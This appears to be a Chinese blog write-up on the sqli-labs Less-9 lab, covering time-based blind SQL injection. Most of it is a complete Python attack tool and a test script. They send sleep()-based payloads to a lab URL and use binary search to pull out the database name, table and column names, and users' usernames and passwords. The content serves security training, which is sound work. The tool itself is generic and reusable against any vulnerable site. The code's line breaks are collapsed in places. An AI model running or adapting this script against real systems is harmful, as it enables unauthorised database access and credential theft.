Less-9 GET-Blind-Time based-Single Quotes

Less-9 代码分析
关键特征
if($row)
{echo 'You are in...........'; // ← 有数据时显示
}
else
{echo 'You are in...........'; // ← 没数据也显示一样的内容!
}
核心特点:无论成功还是失败,都显示 “You are in”!
对比分析
| 特征 | Less-5 | Less-8 | Less-9 |
|---|---|---|---|
| 成功时 | “You are in” | “You are in” | “You are in” |
| 失败时 | 显示错误 | 空白 | “You are in” |
| 页面差异 | ✅ 有 | ✅ 有 | ❌ 完全相同 |
| 报错注入 | ✅ | ❌ | ❌ |
| 布尔盲注 | ✅ | ✅ | ❌ 不行 |
| 时间盲注 | ✅ | ✅ | ✅ 只能用这个 |
专门的时间盲注脚本
我给你写一个专门针对时间盲注优化的脚本:
import requests
import time
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading# ==================== 配置区 ====================
URL = "http://192.168.224.1:8887/Less-9/?id="
CLOSURE = "'" # 闭合字符
SLEEP_TIME = 3 # 延迟秒数(不要设置太大,影响速度)
TIMEOUT = SLEEP_TIME + 2 # 超时时间 = 延迟时间 + 缓冲
THRESHOLD = SLEEP_TIME - 0.5 # 判断阈值(如果响应时间 > 这个值,认为是True)
NUM_THREADS = 5 # 时间盲注建议用较少的线程# ==================== 全局变量 ====================
request_count = 0
request_lock = threading.Lock()# ==================== 核心函数 ====================def check_time_based(payload):"""时间盲注检测返回True表示条件成立(有延迟),False表示条件不成立(无延迟)"""global request_counttry:start_time = time.time()resp = requests.get(URL + payload, timeout=TIMEOUT)elapsed = time.time() - start_timewith request_lock:request_count += 1# 如果响应时间超过阈值,说明执行了sleep,条件为Truereturn elapsed > THRESHOLDexcept requests.Timeout:# 超时也说明执行了sleepreturn Trueexcept Exception as e:return Falsedef get_length_time(query, max_length=100):"""使用时间盲注+二分查找获取长度"""low, high = 1, max_lengthwith tqdm(total=None, desc="获取长度", unit="次", leave=False) as pbar:while low < high:mid = (low + high + 1) // 2payload = f"1{CLOSURE} and if(length(({query}))>={mid},sleep({SLEEP_TIME}),1) --+"pbar.set_postfix({"范围": f"[{low},{high}]", "测试": mid})if check_time_based(payload):low = midelse:high = mid - 1pbar.update(1)return lowdef get_char_at_position_time(query, position):"""使用时间盲注+二分查找获取指定位置的字符"""low, high = 32, 126 # ASCII可打印字符范围while low < high:mid = (low + high + 1) // 2payload = f"1{CLOSURE} and if(ascii(substr(({query}),{position},1))>={mid},sleep({SLEEP_TIME}),1) --+"if check_time_based(payload):low = midelse:high = mid - 1return (position, chr(low) if low >= 32 else '?')def get_string_time(query, length, desc="获取字符串", use_multithread=True):"""使用时间盲注获取字符串use_multithread: 是否使用多线程(时间盲注建议少用,避免对服务器压力太大)"""if length == 0:return ""result_dict = {}if use_multithread:# 多线程版本with ThreadPoolExecutor(max_workers=NUM_THREADS) as executor:futures = {executor.submit(get_char_at_position_time, query, pos): pos for pos in range(1, length + 1)}with tqdm(total=length, desc=desc, unit="字符") as pbar:for future in as_completed(futures):try:position, char = future.result()result_dict[position] = charcurrent_result = ''.join([result_dict.get(i, '?') for i in range(1, length + 1)])pbar.set_postfix({"当前": current_result[:20] + "..." if len(current_result) > 20 else current_result})pbar.update(1)except Exception as e:print(f"\n[!] 错误: {e}")else:# 单线程版本(更稳定)with tqdm(total=length, desc=desc, unit="字符") as pbar:for pos in range(1, length + 1):_, char = get_char_at_position_time(query, pos)result_dict[pos] = charcurrent_result = ''.join([result_dict.get(i, '?') for i in range(1, length + 1)])pbar.set_postfix({"当前": current_result})pbar.update(1)result = ''.join([result_dict.get(i, '?') for i in range(1, length + 1)])return resultdef get_count_time(query):"""使用时间盲注获取数量(二分查找)"""low, high = 0, 100with tqdm(total=None, desc="获取数量", unit="次", leave=False) as pbar:while low < high:mid = (low + high + 1) // 2payload = f"1{CLOSURE} and if(({query})>={mid},sleep({SLEEP_TIME}),1) --+"pbar.set_postfix({"范围": f"[{low},{high}]", "测试": mid})if check_time_based(payload):low = midelse:high = mid - 1pbar.update(1)return low# ==================== 数据库信息获取 ====================def get_database_time():"""获取数据库名"""print("\n" + "="*60)print("【1】获取数据库名")print("="*60)query = "select database()"length = get_length_time(query)print(f"[+] 数据库名长度: {length}")db_name = get_string_time(query, length, "获取数据库名", use_multithread=False)print(f"[+] 数据库名: {db_name}")return db_namedef get_table_count_time(db_name):"""获取表的数量"""print(f"\n[*] 获取数据库 '{db_name}' 的表数量...")query = f"select count(table_name) from information_schema.tables where table_schema='{db_name}'"count = get_count_time(query)print(f"[+] 表数量: {count}")return countdef get_table_name_time(db_name, index):"""获取指定位置的表名"""query = f"select table_name from information_schema.tables where table_schema='{db_name}' limit {index},1"length = get_length_time(query)if length == 0:return Nonetable_name = get_string_time(query, length, f"获取表{index+1}", use_multithread=False)return table_namedef get_all_tables_time(db_name):"""获取所有表名"""print("\n" + "="*60)print("【2】获取所有表名")print("="*60)table_count = get_table_count_time(db_name)tables = []for i in range(table_count):table_name = get_table_name_time(db_name, i)if table_name:tables.append(table_name)print(f"[+] 表 {i+1}: {table_name}")return tablesdef get_column_count_time(table_name):"""获取列数量"""print(f"\n[*] 获取表 '{table_name}' 的列数量...")query = f"select count(column_name) from information_schema.columns where table_name='{table_name}'"count = get_count_time(query)print(f"[+] 列数量: {count}")return countdef get_column_name_time(table_name, index):"""获取指定位置的列名"""query = f"select column_name from information_schema.columns where table_name='{table_name}' limit {index},1"length = get_length_time(query)if length == 0:return Nonecolumn_name = get_string_time(query, length, f"获取列{index+1}", use_multithread=False)return column_namedef get_all_columns_time(table_name):"""获取所有列名"""print("\n" + "="*60)print(f"【3】获取表 '{table_name}' 的所有列名")print("="*60)column_count = get_column_count_time(table_name)columns = []for i in range(column_count):column_name = get_column_name_time(table_name, i)if column_name:columns.append(column_name)print(f"[+] 列 {i+1}: {column_name}")return columnsdef get_data_count_time(table_name):"""获取数据行数"""print(f"\n[*] 获取表 '{table_name}' 的数据行数...")query = f"select count(*) from {table_name}"count = get_count_time(query)print(f"[+] 数据行数: {count}")return countdef get_row_data_time(table_name, columns, row_index):"""获取指定行的数据"""row_data = {}print(f"\n[*] 获取第 {row_index+1} 行数据...")for column in columns:query = f"select {column} from {table_name} limit {row_index},1"length = get_length_time(query)if length == 0:row_data[column] = "(NULL)"else:value = get_string_time(query, length, f"获取{column}", use_multithread=False)row_data[column] = valuereturn row_datadef get_all_data_time(table_name, columns, max_rows=None):"""获取所有数据"""print("\n" + "="*60)print(f"【4】获取表 '{table_name}' 的所有数据")print("="*60)row_count = get_data_count_time(table_name)if max_rows and row_count > max_rows:print(f"[!] 数据行数 ({row_count}) 超过限制 ({max_rows}),只获取前 {max_rows} 行")row_count = max_rowsall_data = []for i in range(row_count):row_data = get_row_data_time(table_name, columns, i)all_data.append(row_data)print(f"\n[+] 第 {i+1} 行:")for col, val in row_data.items():print(f" {col}: {val}")return all_data# ==================== 快速模式 ====================def quick_dump_users_time():"""快速模式:直接获取users表的username和password"""print("""
╔══════════════════════════════════════════════════════════════╗
║ 时间盲注专用脚本 - Less-9 ║
║ Time-based Blind SQL Injection ║
╚══════════════════════════════════════════════════════════════╝""")print(f"目标URL: {URL}")print(f"闭合字符: {CLOSURE}")print(f"延迟时间: {SLEEP_TIME}秒")print(f"判断阈值: {THRESHOLD}秒")print(f"线程数: {NUM_THREADS}")start_time = time.time()try:# 确认时间盲注可用print("\n" + "="*60)print("【0】验证时间盲注")print("="*60)print("[*] 测试True条件(应该延迟)...")test_start = time.time()result_true = check_time_based(f"1{CLOSURE} and if(1=1,sleep({SLEEP_TIME}),1) --+")test_elapsed = time.time() - test_startprint(f" 响应时间: {test_elapsed:.2f}秒")print(f" 结果: {'✅ 有延迟(True)' if result_true else '❌ 无延迟(异常)'}")print("\n[*] 测试False条件(应该立即返回)...")test_start = time.time()result_false = check_time_based(f"1{CLOSURE} and if(1=2,sleep({SLEEP_TIME}),1) --+")test_elapsed = time.time() - test_startprint(f" 响应时间: {test_elapsed:.2f}秒")print(f" 结果: {'❌ 有延迟(异常)' if result_false else '✅ 无延迟(False)'}")if not result_true or result_false:print("\n[!] 时间盲注验证失败!请检查配置")returnprint("\n✅ 时间盲注验证成功!\n")# 获取数据库名db_name = get_database_time()# 获取users表的数据行数print("\n[*] 获取users表数据行数...")query = "select count(*) from users"count = get_count_time(query)print(f"[+] 数据行数: {count}")# 获取所有用户数据print(f"\n[*] 开始获取 {min(count, 5)} 个用户的数据...\n")for i in range(min(count, 5)): # 限制5个,时间盲注太慢print(f"[*] 获取用户 {i+1}/{count}")# 获取usernameusername_query = f"select username from users limit {i},1"username_len = get_length_time(username_query)username = get_string_time(username_query, username_len, f"Username {i+1}", use_multithread=False)# 获取passwordpassword_query = f"select password from users limit {i},1"password_len = get_length_time(password_query)password = get_string_time(password_query, password_len, f"Password {i+1}", use_multithread=False)print(f"[+] 用户{i+1}: {username}:{password}\n")# 统计信息elapsed = time.time() - start_timeprint("\n" + "="*60)print("【统计信息】")print("="*60)print(f"总请求次数: {request_count}")print(f"总耗时: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")print(f"平均速度: {request_count/elapsed:.2f} 请求/秒")print("="*60)except KeyboardInterrupt:print("\n\n[!] 用户中断")elapsed = time.time() - start_timeprint(f"已运行: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")print(f"已完成: {request_count} 个请求")# ==================== 主函数 ====================def main():"""完整模式"""print("""
╔══════════════════════════════════════════════════════════════╗
║ 时间盲注自动化工具 - Less-9 ║
║ Time-based Blind SQL Injection Tool ║
╚══════════════════════════════════════════════════════════════╝""")start_time = time.time()try:# 获取数据库名db_name = get_database_time()# 获取所有表名tables = get_all_tables_time(db_name)# 选择表target_table = 'users' if 'users' in tables else tables[0]print(f"\n[*] 目标表: {target_table}")# 获取列名columns = get_all_columns_time(target_table)# 获取数据(限制3行,时间盲注太慢)all_data = get_all_data_time(target_table, columns, max_rows=3)# 统计elapsed = time.time() - start_timeprint("\n" + "="*60)print("【统计信息】")print("="*60)print(f"总请求次数: {request_count}")print(f"总耗时: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")print(f"平均速度: {request_count/elapsed:.2f} 请求/秒")print("="*60)except KeyboardInterrupt:print("\n\n[!] 用户中断")# ==================== 入口 ====================if __name__ == "__main__":import sysif len(sys.argv) > 1 and sys.argv[1] == 'quick':# 快速模式quick_dump_users_time()else:# 完整模式main()

就是慢的很,因为每次爆破要等时间确认。下面这个等了二十分钟才拉出来这么一点。

使用方法
1. 快速模式(推荐)
python3 time_blind_sqli.py quick
2. 完整模式
python3 time_blind_sqli.py
配置说明
SLEEP_TIME = 3 # 延迟秒数# 太小:可能误判(网络延迟)# 太大:速度太慢# 推荐:2-5秒THRESHOLD = 2.5 # 判断阈值# = SLEEP_TIME - 0.5# 响应时间 > 这个值 → TrueNUM_THREADS = 5 # 线程数# 时间盲注建议少用多线程# 避免对服务器压力太大
时间盲注 vs 布尔盲注 对比
| 特性 | 布尔盲注(Less-8) | 时间盲注(Less-9) |
|---|---|---|
| 页面差异 | ✅ 有(成功/失败不同) | ❌ 无(完全相同) |
| 判断依据 | 页面内容 | 响应时间 |
| 速度 | 快(0.1秒/请求) | 慢(3秒/请求) |
| 稳定性 | 高 | 中等(网络影响) |
| 服务器压力 | 小 | 大(sleep占用连接) |
| 多线程 | 推荐10+ | 建议5以内 |
性能预估
获取一个8字符的字符串:
- 长度判断:约7次请求 × 3秒 = 21秒
- 逐字符获取:8字符 × 7次 × 3秒 = 168秒
- 总计:约 3分钟获取users表(13个用户):
- 每个用户2个字段(username + password)
- 平均每个字段8字符
- 13 × 2 × 3分钟 = 约78分钟实际建议:
- 只获取前3-5个用户
- 或使用更短的SLEEP_TIME(如1秒)
优化建议
1. 减少延迟时间
SLEEP_TIME = 1 # 从3秒减到1秒
THRESHOLD = 0.7 # 相应调整阈值
2. 只获取关键数据
# 只获取username,不获取password
# 只获取前3个用户
3. 使用单线程(更稳定)
use_multithread=False
测试脚本
快速验证Less-9:
import requests
import timeurl = "http://192.168.224.1:8887/Less-9/?id="# 测试1:True条件
print("[*] 测试True条件(应该延迟3秒)...")
start = time.time()
resp = requests.get(url + "1' and if(1=1,sleep(3),1) --+", timeout=5)
elapsed = time.time() - start
print(f" 响应时间: {elapsed:.2f}秒")
print(f" 页面内容: {'You are in' in resp.text}")# 测试2:False条件
print("\n[*] 测试False条件(应该立即返回)...")
start = time.time()
resp = requests.get(url + "1' and if(1=2,sleep(3),1) --+", timeout=5)
elapsed = time.time() - start
print(f" 响应时间: {elapsed:.2f}秒")
print(f" 页面内容: {'You are in' in resp.text}")# 测试3:验证数据库名第一个字符
print("\n[*] 验证数据库名第一个字符是 's'...")
start = time.time()
resp = requests.get(url + "1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+", timeout=5)
elapsed = time.time() - start
print(f" 响应时间: {elapsed:.2f}秒")
print(f" 结果: {'✅ 是s' if elapsed > 2.5 else '❌ 不是s'}")
这个脚本专门针对时间盲注优化,比Less-5的通用脚本更适合Less-9!🎯
